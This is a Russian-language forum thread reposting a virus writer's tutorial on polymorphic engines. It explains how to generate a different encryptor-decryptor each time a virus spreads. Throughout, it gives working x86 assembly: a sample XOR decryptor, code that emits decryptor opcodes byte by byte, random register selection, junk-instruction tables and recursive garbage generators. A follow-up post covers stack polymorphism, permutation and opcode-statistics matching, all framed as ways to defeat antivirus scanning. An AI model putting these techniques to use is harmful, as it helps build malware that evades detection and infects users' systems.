Полиморфизм и вирусы-полиморфы

Тема в разделе "Статьи", создана пользователем Mei, 27 янв 2009.

  1. Mei
    Mei Guest
    Статейка длинная, но знающим будет интересна :evil:

    Введение

    Основная причина существования полиморфизма - это, как обычно, существование антивирусов. Во времена, когда не было полиморфных движков, антивирусы использовали простую сканстроку для обнаружения вирусов и самое великое, что тогда было - это зашифрованные вирусы. В один день у одного вирмейкера родилась замечательная идея. Я уверен, что он подумал: "Почему бы не сделать несканируемый, по крайней мере нынешними (т.е. тогдашними - прим. пер.) средствами"?. Так родился полиморфизм. Полиморфизм является попыткой убрать все повторяющиеся байты в единственной части зашифрованного вируса, которая может быть просканирована: в декрипторе. Да, полиморфизм означает построение изменяющихся раз от раза декриптор вируса. Хех, просто и эффективно. Это основная концепция: никогда не строить два одинаковых расшифровщика (в идеале), но выполнять одно и то же действие. Это естественное расширение техники шифрования: декрипторы недостаточно коротки, чтобы нельзя было использовать сканстроку, но с полиморфизмом она становится бесполезна.

    Уровни полиморфизма

    У каждого уровня полиморфизма есть свое имя, данное ему людьми из AV-индустрии. Давайте посмотрим небольшую цитату из AVPVE.
    Ха-ха. Я сделаю! ;) Разве не приятно, когда один из AVеров делает чужую работу? :)

    Как я могу сделать полиморф?

    Во-первых, вы должны представлять себе, как выглядит расшифровщик. Например:

    Код:
            mov     ecx,virus_size
            lea     edi,pointer_to_code_to_crypt
            mov     eax,crypt_key
     @@1:   xor     dword ptr [edi],eax
            add     edi,4
            loop    @@1
    
    Очень простой пример, да? Ладно, здесь у нас шесть блоков (каждая инструкция - это блок). Представьте, как много у вас возможностей сделать этот код другим:

    - Изменять регистры - Изменять порядок первых трех инструкций - Использовать разные инструкции, чтобы делать одно и то же - Вставить ничего не делающие инструкции - Вставить мусор и так далее

    Это основная идея полиморфизма. Давайте посмотрим, что может сгенерировать простой полиморфный движок на основе того же декриптора:
    Код:
            shl     eax,2
            add     ebx,157637369h
            imul    eax,ebx,69
     (*)    mov     ecx,virus_size
            rcl     esi,1
            cli
     (*)    lea     edi,pointer_to_code_to_crypt
            xchg    eax,esi
     (*)    mov     eax,crypt_key
            mov     esi,22132546h
            and     ebx,0FF242569h
     (*)    xor     dword ptr [edi],eax
            or      eax,34548286h
            add     esi,76869678h
     (*)    add     edi,4
            stc
            push    eax
            xor     edx,24564631h
            pop     esi
     (*)    loop    00401013h
            cmc
            or      edx,132h
            [...]
    
    Вы уловили идею? Конечно, поймать антивирусу подобный декриптор не будет слишком трудно (хотя и значительно труднее, чем незащищенный вирус). Здесь можно сделать много улучшений, поверьте мне. Я думаю, что вы уже поняли, что в вашем полимофном движке нам понадобятся разные процедуры: одна для создания "легитимных" инструкций декриптора, а другая - для создания мусора. Это основная идея написания полиморфных движков. С этого момента я попытаюсь объяснить все это настолько хорошо, насколько могу.

    Очень важная вещь: ГСЧ

    Да, наиболее важная вещь полиморфного движка - это генератор случайных чисел ака ГСЧ. ГСЧ - это кусок кода, который возвращает случайное число. Далее идет пример типичного ГСЧ под DOS, который работает также под Win9X, даже под Ring-3, но не в NT.

    Код:
     random:
             in      eax,40h
             ret
    
    Это возвратит верхнем слове EAX ноль, а в нижнем - случайное значение. Но это не очень мощный ГСЧ... Нам нужен другой... и это остается на вас. Единственное, что я могу сделать для вас - это помочь вам узнать, насколько мощен ваш генератор с помощью прилагаемой маленькой программы. Она "рипнута" из полезной нагрузки Win32.Marburg (GriYo/29A), и тестирует ГСЧ этого вируса. Конечно, этот код был адаптирован и почищен, так чтобы он легко компилировался и запускался.

    Код:
    ;---[ CUT HERE ]-------------------------------------------------------------
    ;
    ; Тестировщик ГСЧ
    ;  ---------------
    ;
    ; Если иконки на экране расположены действительно "случайным" образом, значит,
    ; ГСЧ хороший, но если они сгруппированы в одном участке экрана, или вы
    ; заметили странную последовательность в расположении иконок на экране, 
    ; попробуйте другой ГСЧ.
    ;
    
    
            .386
            .model  flat
    
    res_x   equ     800d                            ; Горизонтальное разрешение
    res_y   equ     600d                            ; Вертикальное разрешение
    
    extrn   LoadLibraryA:PROC                       ; Все APIs, которые нужны 
    extrn   LoadIconA:PROC                          ; тестировщику ГСЧ
    extrn   DrawIcon:PROC
    extrn   GetDC:PROC
    extrn   GetProcAddress:PROC
    extrn   GetTickCount:PROC
    extrn   ExitProcess:PROC
    
            .data
    
    szUSER32        db      "USER32.dll",0          ; USER32.DLL ASCIIz-строка
    
    a_User32        dd      00000000h               ; Требуемые переменные
    h_icon          dd      00000000h
    dc_screen       dd      00000000h
    rnd32_seed      dd      00000000h
    rdtsc           equ     
    
            .code
    
    RNG_test:
            xor     ebp,ebp                         ; Вах, я ленив и не удалил
                                                    ; индексацию из кода...
                                                    ; Есть проблемы?
    
            rdtsc
            mov     dword ptr [ebp+rnd32_seed],eax
    
            lea     eax,dword ptr [ebp+szUSER32]
            push    eax
            call    LoadLibraryA
    
            or      eax,eax
            jz      exit_payload
    
            mov     dword ptr [ebp+a_User32],eax
    
            push    32512
            xor     edx,edx
            push    edx
            call    LoadIconA
            or      eax,eax
            jz      exit_payload
    
            mov     dword ptr [ebp+h_icon],eax
    
            xor     edx,edx
            push    edx
            call    GetDC
            or      eax,eax
            jz      exit_payload
            mov     dword ptr [ebp+dc_screen],eax
    
            mov     ecx,00000100h                   ; Помещаем 256 иконок на экран
    
    loop_payload:
    
            push    eax
            push    ecx
            mov     edx,eax
            push    dword ptr [ebp+h_icon]
            mov     eax,res_y
            call    get_rnd_range
            push    eax
            mov     eax,res_x
            call    get_rnd_range
            push    eax
            push    dword ptr [ebp+dc_screen]
            call    DrawIcon
            pop     ecx
            pop     eax
            loop    loop_payload
    
    exit_payload:
            push    0
            call    ExitProcess
    
    ; RNG - Этот пример создан GriYo/29A (смотри Win32.Marburg)
    ;
    ; Чтобы проверить валидность вашего RNG, помещайте его код здесь ;)
    ;
    
    random  proc
            push    ecx
            push    edx
            mov     eax,dword ptr [ebp+rnd32_seed]
            mov     ecx,eax
            imul    eax,41C64E6Dh
            add     eax,00003039h
            mov     dword ptr [ebp+rnd32_seed],eax
            xor     eax,ecx
            pop     edx
            pop     ecx
            ret
    random  endp
    
    get_rnd_range proc
            push    ecx
            push    edx
            mov     ecx,eax
            call    random
            xor     edx,edx
            div     ecx
            mov     eax,edx
            pop     edx
            pop     ecx
            ret
    get_rnd_range endp
    
    end     RNG_test
    
    ;---[ CUT HERE ]-------------------------------------------------------------
    Интересно, по крайней мере мне, смотреть за тем, как ведут себя различные арифметические операции :).

    Основные концепции полиморфного движка

    Я думаю, что вы должны уже знать, то что я собираюсь объяснить, поэтому если вы уже писали полиморфные движки или знаете, как его создать, я рекомендую вам пропустить эту часть.

    Ладно, прежде всего мы должны сгенерировать код во временный буфер (обычно где-то в куче), но вы также можете зарезервировать память с помощью функций VirtualAlloc или GlobalAlloc. Мы должны поместить указатель на начало этого буфера, обычно это регистр EDI, так как он используется семейством инструкций STOS. В буфер мы будем помещать байты опкодов. Ок, ок, я приведу небольшой пример.

    Код:
    ;---[ CUT HERE ]-------------------------------------------------------------
    ;
    ; Silly PER basic demonstrations (I)
    ;  ----------------------------------
    ;
    
            .386                                    ; Blah
            .model  flat
    
            .data
    
    shit:
    
    buffer  db      00h
    
            .code
    
    Silly_I:
    
            lea     edi,buffer       ; Указатель на буфер
            mov     al,0C3h          ; Байт, который нужно записать, находится в AL
            stosb                    ; Записать содержимое AL туда, куда указывает
                                     ; EDI
            jmp     shit             ; Байт, который мы записали, C3, является
                                     ; опкодом инструкции RET, т.е. мы заканчиваем
                                     ; выполнение
    
    end     Silly_I
    
    ;---[ CUT HERE ]-------------------------------------------------------------
    
    Скомпилируйте предыдущий исходник и посмотрите, что произойдет. А? Он не делает ничего, я знаю. Но вы видите, что вы сгенерировали код, а не просто написали его в исходнике, и я продемонстрировал вам, что вы можете генерировать код из ничего. Подумайте о возможностях - вы можете генерировать полезный код из ничего в буфер. Это базовая основа полиморфных движков - так и происходит генерация кода расшифровщика. Теперь представьте, что мы хотим закодировать что-нибудь вроде следующего набора инструкций:
    Код:
                mov     ecx,virus_size
                mov     edi,offset crypt
                mov     eax,crypt_key
     @@1:   xor     dword ptr [edi],eax
                add     edi,4
                loop    @@1
    
    Соответствено, код для генерации декриптора с нуля будет примерно следующим:
    Код:
            mov     al,0B9h             ; опкод MOV ECX,imm32
            stosb                       ; сохраняем AL, куда указывает EDI
            mov     eax,virus_size      ; Число, которое нужно сохранить
            stosd                       ; сохранить EAX, куда указывает EDI 
            mov     al,0BFh             : опкод MOV EDI,offset32
            stosb                       ; сохраняем AL, куда указывает EDI
            mov     eax,offset crypt    ; 32-х битное сохраняемое смещение
            stosd                       ; сохраняем EAX, куда указывает EDI
            mov     al,0B8h             ; опкод MOV EAX,imm32
            stosb                       ; сохраняем AL, куда указывает EDI
            mov     eax,crypt_key       ; Imm32, который нужно сохранить
            stosd                       ; сохраняем EAX, куда указывает EDI
            mov     ax,0731h            ; опкод XOR [EDI],EAX 
            stosw                       ; сохраняем AX, куда указывает EDI
            mov     ax,0C783h           ; опкод ADD EDI,imm32 (>7F)
            stosw                       ; сохраняем AX, куда указывает EDI
            mov     al,04h              ; Сохраняемый Imm32 (>7F)
            stosb                       ; сохраняем AL, куда указывает EDI
            mov     ax,0F9E2h           ; опкод LOOP @@1
            stosw                       ; сохраняем AX, куда указывает EDI
    
    Ладно, так вы сгенерируете нужный вам код, но, надеюсь, вы поняли, что добавить ничего не делающие инструкции между полезными очень легко. Используется тот же метод. Вы можете поэкспериментировать с однобайтовыми инструкциями, чтобы оценить их возможности.
    Код:
    ;---[ CUT HERE ]-------------------------------------------------------------
    ;
    ; Silly PER basic demonstrations (II)
    ;  -----------------------------------
    ;
    
            .386                                    ; Blah
            .model  flat
    
    virus_size      equ     12345678h               ; Фальшивые данные
    crypt           equ     87654321h
    crypt_key       equ     21436587h
    
            .data
    
            db      00h
    
            .code
    
    Silly_II:
    
            lea     edi,buffer                  ; Указатель на буфер - это код
                                                ; возврата, мы заканчиваем
                                                ; выполнение
    
            mov     al,0B9h                     ; Опкод MOV ECX,imm32 
            stosb                               ; Сохранить AL, куда указ. EDI
            mov     eax,virus_size              ; Непоср. знач., к-рое нужно сохр.
            stosd                               ; Сохр. EAX, куда указывает EDI 
    
            call    onebyte
    
            mov     al,0BFh                     ; Опкод MOV EDI, offset32 
            stosb                               ; Сохр. AL, куда указывает EDI
            mov     eax,crypt                   ; Offset32, который нужно сохранить
            stosd                               ; Сохр. EAX, куда указывает EDI
    
            call    onebyte
    
            mov     al,0B8h                     ; MOV EAX,imm32
            stosb                               ; Сохр. AL, куда указывает EDI
            mov     eax,crypt_key
            stosd                               ; Сохр. EAX, куда указывает EDI 
    
            call    onebyte
    
            mov     ax,0731h                    ; Опкод XOR [EDI],EAX 
            stosw                               ; Сохр. AX, куда указывает EDI
    
            mov     ax,0C783h                   ; Опкод ADD EDI,imm32 (>7F)
            stosw                               ; Сохр. AX, куда указывает EDI
            mov     al,04h                      ; Imm32 (>7F), который нужно сохр.
            stosb                               ; Сохр. AL, куда указывает EDI
    
            mov     ax,0F9E2h                   ; Опкод LOOP @@1
            stosw                               ; Сохр. AX, куда указывает EDI
    
            ret
    
    random:
            in      eax,40h                     ; Чертов RNG
            ret
    
    onebyte:
            call    random                      ; Получаем случайное число
            and     eax,one_size                ; Сделать его равным [0..7]
            mov     al,[one_table+eax]          ; Получить опкод в AL
            stosb                               ; Сохр. AL, куда указывает EDI
            ret
    
    one_table       label byte                  ; Таблица однобайтных инструкций
            lahf
            sahf
            cbw
            clc
            stc
            cmc
            cld
            nop
    one_size        equ     ($-offset one_table)-1
    
    buffer  db      100h dup (90h)              ; Простой буфер
    
    end     Silly_II
    
    ;---[ CUT HERE ]-------------------------------------------------------------
    
    Хех, я сделал полиморфизм слабого 3-его уровня, склоняющегося ко 2-ому ;) Йоу! Обмен регистров будет объяснен позже вместе с формированием кодов. Цель этой маленькой подглавы выполнена: вы должны были получить общее представление о том, что мы хотим сделать. Представьте, что вместо однобайтовых инструкций вы используете двухбайтовые, такие как PUSH REG/POP REG, CLI/STI и так далее.
     
    27 янв 2009
  2. Mei
    Mei Guest
    Код:
    
    
    Генерация "настоящего" кода

    Давайте взглянем на наш набор инструкций.
    Код:
            mov     ecx,virus_size                  ; (1)
            lea     edi,crypt                       ; (2)
            mov     eax,crypt_key                   ; (3)
     @@1:   xor     dword ptr [edi],eax             ; (4)
            add     edi,4                           ; (5)
            loop    @@1                             ; (6)
    
    Чтобы выполнить то же самое действие, но с помощью другого кода, можно сделать много разных вещей, и это является нашей целью. Например, первые три инструкции можно сгруппировать другим способом с тем же результатом, поэтому вы можете создать функцию для рандомизации их порядка. И мы можем использовать любой набор регистров без особых проблем. И мы можем использовать вместо loop dec/jnz... И так далее, и так далее...

    - Ваш код должен уметь генерировать, например, что-то вроде следующего для выполнения одной простой инструкции. Давайте подумаем насчет первого mov:
    Код:
            mov     ecx,virus_size
    или
    Код:
            push    virus_size
            pop     ecx
    или
    Код:
            mov     ecx,not (virus_size)
            not     ecx
    или
    Код:
            mov     ecx,(virus_size xor 12345678h)
            xor     ecx,12345678h
    и так далее, и так далее...

    Все это будет генерироваться с помощью разных опкодов, но будет выполнять одну и ту же работу, а именно - помещать в ECX размер вируса. Конечно, здесь есть миллиард возможностей, потому вы можете использовать огромное количество инструкций для помещения инструкции в регистр. Это требует большого воображения с вашей стороны.

    - Другое, что можно сделать - это изменить порядок инструкций. Как я уже сказал раньше, вы можете это сделать без особых проблем, потому что порядок для них не играет роли. Поэтому, вместо набора инструкций 1,2,3 мы легко можем сделать 3,1,2 или 1,3,2 и т.д. Просто дайте волю вашему воображению.

    - Также очень важно делать обмен регистров, так как тогда опкоды тоже могут меняться (например, 'MOV EAX, imm32' кодируется как 'B8 imm32', а 'MOV ECX, imm32' кодируется как 'B9 imm32'). Вам следует использовать 3 регистра для декриптора из 7, которые мы можем использовать (никогда не используйте ESP!!!). Например, представьте, что выбрали (случайно) 3 регистра. EDI в качестве базового указателя, EBX в качестве ключа, а ESI - в качестве счетчика; тогда мы можем использовать EAX, ECX, EDX и EBP в качестве мусорных регистров для генерации мусорных инструкций. Давайте посмотрим пример кода, в котором выбираются 3 регистра для генерации нашего декриптора:
    Код:
     -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
     InitPoly       proc
    
     @@1:   mov     eax,8                           ; Получить случайный регистр
            call    r_range                         ; EAX := [0..7]
    
            cmp     eax,4                           ; Это ESP?
            jz      @@1                             ; Если да, получаем другой
    
            mov     byte ptr [ebp+base],al          ; Сохраняем его
            mov     ebx,eax                         ; EBX = базовый регистр
    
     @@2:   mov     eax,8                           ; Получаем случайный регистр
            call    r_range                         ; EAX := [0..7]
    
            cmp     eax,4                           ; Это ESP?
            jz      @@2                             ; Если да, получаем другой
    
            cmp     eax,ebx                         ; Равен базовому указателю?
            jz      @@2                             ; Если да, получаем другой
    
            mov     byte ptr [ebp+count],al         ; Сохраняем его
            mov     ecx,eax                         ; ECX = Регистр-счетчик
    
     @@3:   mov     eax,8                           ; Получаем случайный регистр
            call    r_range                         ; EAX := [0..7]
    
            cmp     eax,4                           ; Это ESP?
            jz      @@3                             ; Если да, получаем другой
    
            cmp     eax,ebx                         ; Равен регистру базового указ.?
            jz      @@3                             ; Если да, получаем другой
    
            cmp     eax,ecx                         ; Равен регистру-счетчику?
            jz      @@3                             ; Если да, получаем другой
    
            mov     byte ptr [ebp+key],al           ; Сохраняем его
    
            ret
    
     InitPoly       endp
     -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
    Теперь у вас в трех переменных три разных регистра, которые мы можем использовать без особых проблем. С регистром EAX у нас возникнет проблема, не очень большая, но тем не менее. Как вы знаете, некоторые инструкции имеют оптимизированный опкод для работы с этим регистром. Если же вместо этих опкодов использовать обычные, антиэвристик заметит, что инструкция была построена "неправильным" путем, как бы никогда не сделал "настоящий" ассемблер. У вас есть два выхода: если вы все еще хотите использовать EAX в качестве одного из "активных" регистров в вашем код, вам следует учитывать этот момент и генерировать соответствующие опкоды. Либо вы можете просто избегать использования EAX в качестве одного из регистров, использумых в декрипторе, а использовать его только при генерации мусора, применяя оптимизированные опкоды (прекрасным выбором будет построение соответствующей таблицы). Мы рассмотрим это позже. Для игр с мусором я рекомендую использовать маску регистров.

    Генерация мусора

    Качество мусора на 90% - качество вашего полиморфного движка. Да, я сказал "качество", а не "количество", как вы могли подумать. Во-первых, я покажу вам две возможности, которые у вас есть при написании полиморфного движка:

    - Генерирование реалистичного кода, похожего на "законный" код приложения. Например, движки GriYo.

    - Генерировать так много инструкций, как это возможно, похожего на поврежденный файл (с использованием сопроцессора). Например, MeDriPoLen Mental Driller'а.

    Ок, тогда давай начнет:

    ¦ Общее для обоих случаев:

    - CALL'ы (и CALL'ы внутри CALL'ов внутри CALL'ов...) множеством различных путей - Безусловные переходы

    ¦ Реалистичность:

    "Реалистичное" - это то, что выглядит как настоящее, хотя и может не являться таковым на самом деле. Я хочу задать вам вопрос: что вы подумаете, если увидите огромное количество кода без CALL'ов и JUMP'ов? Что, если после CMP не будет условного перехода? Это практически невозможно, о чем знаем и мы и AV. Поэтом мы должны ументь все эти виды мусорных структур:

    - CMP/Условные переходы - TEST/Условные переходы - Всегда использовать оптимизированные опкоды при работе с EAX - Работа с памятью - Генерирование структур PUSH/мусор/POP - Использование очень маленького количества однобайтовых инструкций (если вообще их использовать)

    ¦ Mental Drillism... гхрм... Поврежденный код.

    Декриптор наполнен всякой чепухой, опкодами не похожие на код, ничего не делающими инструкциями сопроцессора и, конечно, используется так много опкодов, как это возможно.

    Ладно, теперь я попытаюсь объснить все этапы генерации кода. Во-первых, давайте начнем с того, что относится к CALL'ам и безусловным переходам.

    • Что касается первого, это очень просто. Вызов подпрограмм можно осуществить разными путями:
    [​IMG]
    Конечно, вы можете смешивать эти способы, получив, как результат множество способов сделать подпрограмму внутри декриптора. Конечно, вы можете сделать рекурсию (о чем я еще буду говорить в дальнейшем), должны быть CALL'ы внутри других CALL'ов и это все внутри еще одного CALL и так далее... Уфф. Сплошная головная боль.

    Между прочим, будет неплохо сохранять смещения некоторых из этих процедур и вызывать их где-нибудь в сгенерированном коде.

    • Безусловные переходы - это тоже очень легко, так как нам не нужно заботиться об инструкциях между переходом и тем, куда он переходит - туда мы можем вставлять всякий мусор.

    Теперь я собираюсь обсудить реалистичность кода. GriYo можно назвать автором лучших движков в этой области; если вы видели движки Marburg'а или HPS, вы поймете, что несмотря на их простоту, GriYo стремится к тому, чтобы код выглядел как можно более настоящим, и это AV бесятся, когда пытаются разработать надежный алгоритм против таких движков. Ок, давайте начнем с основных моментов:

    • Со структурой 'CMP/Условный переход' все понятно, потому что никогда не следует использовать сравнение без последующего условного перехода... Ок, но попытайтесь сделать переходы с ненулевым смещением, сгенерируйте какой-нибудь мусор между условным переходом и смещением, куда будет передан контроль (или не будет), и код станет менее подозрительным в глазах анализатора.

    • То же самое касается TEST, но использовать следует JZ или JNZ, потому что, как вам известно, TEST влияет только на нулевой флаг.

    • Очень легко сделать ошибку при использовании регистров AL/AX/EAX, так как для них существуют специальные оптимизированные опкоды. В качестве примеров могут выступать следующие инструкции:

    ADD, OR, ADC, SBB, AND, SUB, XOR, CMP и TEST (Непосредственное значение в регистр).

    • Касательно адресов памяти - хорошим выбором будет получить по крайней мере 512 байтовв зараженном файле, поместить их где-инбудь в вирусе и сделать доступными для чтения и записи. Постарайтесь использовать кроме простого индексирования еще и двойное, и если ваш разум может принять это, попытайтесь использовать двойное индексирование с умножением, что-нибудь вроде следующего [ebp+esi*4]. Это не так сложно, как можно подумать, поверьте мне. Вы также можете делать перемещения в памяти с помощью инструкции MOVS, также используйте STOS, LODS, CMPS... Можно использовать все строковые операции, все зависит от вас.

    • Структуры PUS/TRASH/POP очень полезны, потому что их легко добавить в движок, и они дают хорошие результаты, в то время как это нормальная структура в законопослушной программе.

    • Если количество однобайтных инструкций слишком велико, это может выдать наше присутствие AV или люботному человеку. Учтите, что нормальные программы используют их не так часто, поэтому вполне возможно, что лучше добавить проверку для того, чтобы избежать их чрезмерного использования (мне кажется, что примлимым соотношением будет 1 однобайтовая инструкция на каждые 25 байтов

    Дальше идет немного менталдриллизма :).

    • Вы можете использовать следующие 2-х байтовые инструкции сопроцессора в качестве мусора без каких-либо проблем:

    f2xm1, fabs, fadd, faddp, fchs, fnclex, fcom, fcomp, fcompp, fcos, fdecstp, fdiv, fdivp, fdivr, fdivrp, ffree, fincstp, fld1, fldl2t, fldl2e, fldpi, fldln2, fldz, fmul, fmulp, fnclex, fnop, fpatan, fprem, fprem1, fptan, frndint, fscale, fsin, fsincos, fsqrt, fst, fstp, fsub, fsubp, fsubr,fsubrp, ftst, fucom, fucomp, fucompp, fxam, fxtract, fyl2x, fyl2xp1.

    Просто поместите в начало вируса эти две инструкции, чтобы сбросить сопроцессор:

    Код:
            fwait
            fninit
    Генерация инструкций

    Вероятно, это самое важное в полиморфизме: отношения, существующие между одной и той же инструкции с разными регистрами или между разными инструкциями одного семейства. Отношения между ними становятся понятными, если мы преобразуем значения в двоичный формат. Но сначала немного полезной информации:
    [​IMG]

    Я думаю, что моя главная ошибка во время написания моего предыдущего путеводителя заключалась в той части, где я описывал структуру опкодов и тому подобное. Поэтому сейчас я объясню часть того, что вам придется делать самим, так же, как когда я писал свой полиморфный движок. Возьмем в качестве примера опкод XOR...

    Код:
            xor     edx,12345678h -> 81 F2 78563412
            xor     esi,12345678h -> 81 F6 78563412
    Видите различие? Я пишу инструкции, которые мне нужны, использую дебуггер и смотрю, что изменяется раз от раза. Вы можете видеть, что изменился второй байт. Теперь самая забавная часть: переведите эти значения в двоичную форму.

    Код:
            F2 -> 11 110 010
            F6 -> 11 110 110
    Видите, что изменилось? Последние три бита, верно? Ок, теперь переходим к регистрам. Как вы поняли, изменяются три последних бита согласно используемому регистру. Итак...

    Код:
            010 -> EDX 
            110 -> ESI
    
    Просто попытайтесь поместить другое двоичное значение в эти три бита и вы увидите, как изменяется регистр. Но будьте осторожны... не используйте значение EAX (000) с этим опкодом, так как и у всех арифметических операций, у xor есть специальный опкод, оптимизированный для EAX. Кроме того, если вы используете такое значение регистра, эвристик запомнит это (хотя этот опкод будет прекрасно работать).

    Поэтому отлаживайте то, что хотите сгенерировать, изучайте взаимоотношения между ними и стройте надежный код для генерирования чего бы то ни было. Это очень легко!

    Рекурсивность

    Это один из важнейших моментов вашего полиморфного движка. Рекурсия должна иметь ограничение, но в зависимости от этого ограничения отлаживать код будет гораздо труднее (если лимит достаточно высок). Давайте представим, что у нас есть таблица со всеми смещениями всех генераторов мусора:

    Код:
     PolyTable:
            dd      offset (GenerateMOV)
            dd      offset (GenerateCALL)
            dd      offset (GeneratteJMP)
            [...]
     EndPolyTable:
    И представьте, что у вас есть следующая процедура для выбора между ними:

    Код:
     GenGarbage:
            mov     eax,EndPolyTable-PolyTable
            call    r_range
            lea     ebx,[ebp+PolyTable]
            mov     eax,[ebx+eax*4]
            add     eax,ebp
            call    eax
            ret
    Представьте, что внутри процедуры 'GetGarbage' вызываются инструкции, генерирующие вызовы, а внутри них снова вызывается 'GenGarbage', а внутри нее снова вызывается 'GenerateCALL' и снова, и снова (в зависимости от вашего ГСЧ), поэтом у вас будут CALL'ы внутри CALL'ов внутри CALL'ов... Я сказал ранее, что эта штука с ограничением нужна была для того, чтобы избежать проблем со скоростью, но это можно легко решить с помощью новой процедуры 'GenGarbage':

    Код:
     GenGarbage:
            inc     byte ptr [ebp+recursion_level]
            cmp     byte ptr [ebp+recursion_level],05 ; <- 5 - это уровень 
            jae     GarbageExit                       ;    рекурсии
    
            mov     eax,EndPolyTable-PolyTable
            call    r_range
            lea     ebx,[ebp+PolyTable]
            mov     eax,[ebx+eax*4]
            add     eax,ebp
            call    eax
    
     GarbageExit:
            dec     byte ptr [ebp+recursion_level]
            ret
    Таким образом, наш движок сможет сгенерировать огромное количество одурачивающего противника кода, полного вызовов и всего в таком роде ;). Конечно, это также применимо к PUSH и POP :).

    Заключение

    Ваш полиморфный движок скажет о вас все как о кодере, поэтому я не буду обсуждать это далее. Просто сделайте это сами вместо копирования кода. Только не делайте типичный движок с простой шифрующей операцией и примитивным мусором вроде MOV и т.д. Используйте все ваше воображение. Например, есть много видов вызовов, которые можно сделать: три стиля (что я объяснял выше), а кроме этого, вы можете генерировать кадры стека, PUSHAD/POPAD, передавать параметры им через PUS (а после использовать RET x) и много другое. Будьте изобретательны!

    © wasm.ru​
     
    27 янв 2009
    3 пользователям это понравилось.
  3. Mei
    Mei Guest
    Продолжение: Полиморфизм. Новые техники.

    Полиморфизм всегда пользовался огромной популярностью у программистов. Но шло время и полиморфизм стал не столь популярен. Многие стали считать, что это вчерашний день. Я с ними соглашусь пожалуй, но как говорится: "Не все йогурты одинаково полезны". Классический полиморфизм в том виде, каком он был раньше, дальше использоваться не может. Сейчас мы рассмотрим последние техники полиморфизма и перспективы их применения.

    1. Стэковый полиморфизм

    Первым написал простейший стэковый движок Rajaat, данный движок был очень простым и маленьким. Далее насколько я помню, была парочка вариаций на данную тему. И закончилось всё когда объединились Z0MBiE и Vecna. Их творение получило модное громогласное название - "Kewl Mutation Engine". Данный движок без ложной скромности, можно назвать шедевром стэкового полиморфизма.

    Теперь мы рассмотрим, в чём же заключается суть стэкового полиморфизма. Весь код который мы хотим скрыть(зашифровать) разбивается на двойные слова.

    И после этого формируется следующий код:
    Код:
    		push	Шифруемый Код
    		push	Шифруемый Код
    		....	.............
    		push	Шифруемый Код
    		jmp	esp
    
    Но такой код легко раскалывается даже алгоритмическими методами, без кодоэмуляции. Что делается чтобы этого не происходило? Производится линейная мутация кода, как вы видите инструкции в этом коде влияют только на стэк.

    И мы можем отмутировать инструкцию - "push Шифруемый Код", следующим образом:
    Код:
    		mov	eax,234
    		mov	edx,Шифруемый Код-234
    		add	edx,eax
    		xchg	edx,eax
    		push	eax
    И каждую инструкцию из этого блока мы то же можем сильно преобразовать. Этим мы заставим эмулировать, каждую инструкцию нашего кода. А как вы знаете, есть так называемая глубина эмуляции - это количество инструкций, на котором эмуляция прекращается.

    Теперь давайте поговорим об актуальности стэкового полиморфизма и его перспективах. С выходом новых процессоров запрещено исполнение кода в стэке. И это используется как SP2 для Windows XP, так и будет использоваться в Longhorn. Так что актуальность данного вида полиморфизма стремится к нулю.

    2. Метаморфизм

    Я к данному виду полиморфизма отношу два типа мутаций:
    Когда весь код, вместе с движком разбивается на блоки и затем производится перестановка данных блоков и их связь.
    Когда весь код вируса представлен в виде псевдо кода и хранится в зашифрованном виде. И на базе этого псевдо кода, генерируется каждый раз новый код.

    Данные техники является достаточно сложными и не очень приятными. По следующим причинам:
    И в первом, и втором случаях достаточно сложно написать универсальный движок. По этой причине каждый раз эту технику необхоимо реализовывать заново.
    В первом случае получается ограниченное количество мутаций.
    Во втором случае возможно детектирование по зашифрованной части кода.

    3. Пермутация

    Пермутация это преобразование уже готового кода. В этом направлении на данный момент наиболее продвинулся Z0MBiE. Но ещё в его старых движках, встречались благодарности некому Lord_ASD. Далее после него, в этой области продвинулись Vecna и SBVC. В чём же заключается пермутация? Базовым алгоритмом пермутирующих движков является дизассемблирование кода с последующей его мутацией и ассемблированием.

    Теперь рассмотрим пример алгоритма простейшего пермутирующего движка:
    Дизассемблируется по длинам все инструкции нашего кода и отмечатся условные и безусловные переходы.
    Инструкции заменяются синонимичными и между ними вставляются мусорные инструкции.

    Например:
    Код:
    ;----[Были инструкции]----------------;
    		...	............
    		mov	eax,12345678
    		push	eax
    		....	............
    Далее эти инструкции преобразовались к виду:
    Код:
    ;----[Стали инструкции]---------------;
    		...	............
    		xor	eax,eax
    		nop
    		add	eax,12345678
    		nop
    		push	eax
    		....	.............
    Пересчитываются все переходы.

    Данный вид полиморфизма является одним из самых перспективных. По следующим причинам:
    Удобство (не лёгкость) написания движка
    Высокий уровень мутаций
    Необходимость эмуляции всех инструкций

    Не смотря на то, что данный вид полиморфизма известен уже достаточно давно, он не получил большого распространения, из-за сложности реализации.

    4. Статистические методы и Генетические алгоритмы

    В данной части рассмотрим наиболее оптимальные модификации классических полиморфных движков.

    1) Статистические методы

    Вы некогда не задумывались почему, ваши полиморфные движки так быстро детектируются? Вроде и инструкции использовали те же, что и обычные программы, и все виды переходов и подпрограмм. А всё равно детектируются!

    Да, инструкции были использованы те же, но в том ли количестве? Антивирусы так же смотрят на статистику встречи опкодов. Вы уже наверное догадались о чём пойдёт речь дальше?

    Для того, чтобы определить с какой вероятностью генерировать, ту или иную инструкцию. Мы должны собрать статистические данные по обыкновенным программам. Для этого мы можем либо написать сами программу, либо воспользоваться программой от Z0MBiE. После того, как мы проанализировали на количество различных опкодов, множество программ. Мы должны рассчитать мат. ожидания (средние) встречи различных опкодов. И на основе их, мы построим таблицу вероятностей встречи тех или иных опкодов в обыкновенных программах.

    После этого ваши декрипторы будут практически идентичны обыкновенным программам по статиситике опкодов.

    2) Генетические алгоритмы

    Теория Дарвина утверждает, что все организмы изменяются и совершенствуются в процессе эволюции. Более приспособленные особи к своей среде обитания имеют больше возможностей выжить и принести потомство. Благодаря наследственности (генетической информации) родители передают потомкам, наиболее необходимую для выживания в данной среде информацию. Из-за этого механизма весь вид будет изменяться и в конце концов, его выживаемость значительно увеличиться.

